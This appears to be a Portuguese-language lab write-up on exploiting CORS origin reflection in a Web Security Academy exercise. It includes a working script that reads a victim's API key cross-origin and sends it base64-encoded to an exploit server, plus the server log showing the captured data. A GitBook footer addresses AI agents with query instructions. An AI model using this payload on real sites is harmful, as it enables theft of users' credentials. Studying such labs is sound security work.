> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cors/cors-basic-origin-reflection.md).

# Reflexão Básica de Origin em CORS

### Vulnerabilidade de CORS com reflexão básica de origem

Usando uma configuração de CORS excessivamente permissiva (o servidor confia em qualquer origem) para recuperar a chave da API do administrador por meio de uma consulta entre origens com `credenciais` e enviar a resposta para o nosso servidor de exploração. O exercício é resolvido quando a chave da API do administrador é enviada para o servidor de exploração.

<figure><img src="/files/cc8866bb0d048df980e257cefbf63994990d9102" alt=""><figcaption></figcaption></figure>

* Credenciais fornecidas para conexão: `wiener:peter`.
* O código do lado da página recupera a chave da API de `/accountDetails` e exibe:

```javascript
<script>
 fetch('/accountDetails', {credentials:'include'})
  .then(r => r.json())
  .then(j => document.getElementById('apikey').innerText = j.apikey)
</script>
```

<figure><img src="/files/5d6dbebe856a1978eed0904c9d53af1b66e9b6db" alt=""><figcaption></figcaption></figure>

Os cabeçalhos indicam `Access-Control-Allow-Credentials: true` (o servidor aceita solicitações com cookies/credenciais).

<figure><img src="/files/4e9c8d411d86de01d991317bdc459cf662c2659f" alt=""><figcaption></figcaption></figure>

* Ao testar uma consulta com o `Origin: jord4n.pro` cabeçalho, a resposta é retornada (a origem refletida é aceita).

```javascript
Origin: jord4n.pro
```

* O servidor reflete/permite a origem enviada, então uma página controlada pelo atacante pode realizar uma `XMLHttpRequest`  ou `fetch` para `/accountDetails` incluindo os cookies da vítima (`withCredentials = true`) e recuperar a resposta JSON contendo a chave da API.

<figure><img src="/files/4d8e60960b1b35e70e0f55c5bdf648fecbfd5241" alt=""><figcaption></figcaption></figure>

```javascript
<script>
  var req=new XMLHttpRequests();
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="/files/06ef728e2b7d92937c126d76bf3c1027b2e39ba0" alt="" width="483"><figcaption></figcaption></figure>

Assim que a resposta for lida, ela pode ser transmitida ao servidor (por exemplo, codificando em base64) para coleta.

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = "https://exploit-0aca00f703c106bc82ac23560133003f.exploit-server.net/?apiKey=" + btoa(req.responseText);
};
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="/files/e30dd1833f104d162aae8ccc14a201c2a6b27c64" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
10.0.3.6        2025-10-29 20:19:37 +0000 "GET /?apiKey=ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIjg2cWk4Mnh2TUdDOUdyV2dYY1RPdUN4bnVCQU9Gd3VEIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiS240MzN2QVpqWU1WUTZTUE1JTmx4YzY5aHFjNVg1M24iCiAgXQp9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

O servidor em operação recebeu uma consulta GET contendo a resposta codificada, por exemplo:

<figure><img src="/files/bbf170b18d774604da9c920643de226c92b6bc36" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/cors/cors-basic-origin-reflection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
